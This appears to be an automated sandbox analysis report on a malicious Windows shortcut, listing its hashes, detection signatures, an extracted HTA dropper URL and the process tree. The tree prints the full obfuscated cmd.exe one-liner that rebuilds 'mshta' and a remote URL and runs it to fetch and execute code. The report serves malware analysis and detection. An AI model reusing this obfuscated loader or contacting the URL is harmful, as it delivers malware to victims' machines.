Analysis

  • max time kernel
    148s
  • max time network
    142s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260710-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260710-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    04/08/2026, 08:25

General

  • Target
    DOC-0G2VT8.lnk
  • Size 2KB
  • Sample260804-kbm8msbj2z
  • SHA256 8ec6106bf637e259c2abcb6db7d4ee0be470f8a196926b3f154c414390ca9093
  • MD5 SHA1 SHA512 TLSH
Score
10/10

Malware Config

Extracted

Language
  • hta

Source
URLs
  • hta.dropper

    https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB

Signatures

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 2 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Suspicious use of WriteProcessMemory 2 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c C:\Users\Admin\AppData\Local\Temp\DOC-0G2VT8.lnk
    1⤵
    • Executes a command shell one-liner
    • Suspicious use of WriteProcessMemory
    PID:3680
    • C:\WINDOWS\system32\cmd.exe
      "C:\WINDOWS\system32\cmd.exe" /D /v:on /C "set gL=dbgkpilfredndbg&&set yCJj=logjvllknbquehylxeuzlog&&set sCucN=sysrxtujkrurzsys&&set tFE=netoziqizvwlwrjnbyedknet&&set qZk=dbgbpixccsrxthdbg&&set PXI=jzdstr&&set QNhn=btaan&&set yy=fprtu3&&set DKbri=tmpcvdfygybtxwtmp&&set GpiMp=m1my9o&&set pvT=vshta0&&set sZ=oldnjqonold&&set csH=https://@m@a-pd@f@[email protected]@/@h/@e@s@tagi@[email protected]@p?r@=3@91@46@9F@B5@D@8@2DB&&start /b !GpiMp:~2,1!!pvT:~1,4! !csH:@=!"
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:4888
      • C:\Windows\System32\mshta.exe
        mshta https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB
        3⤵
          PID:6112

    Network

          MITRE ATT&CK Enterprise v16

          Replay Monitor

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          Downloads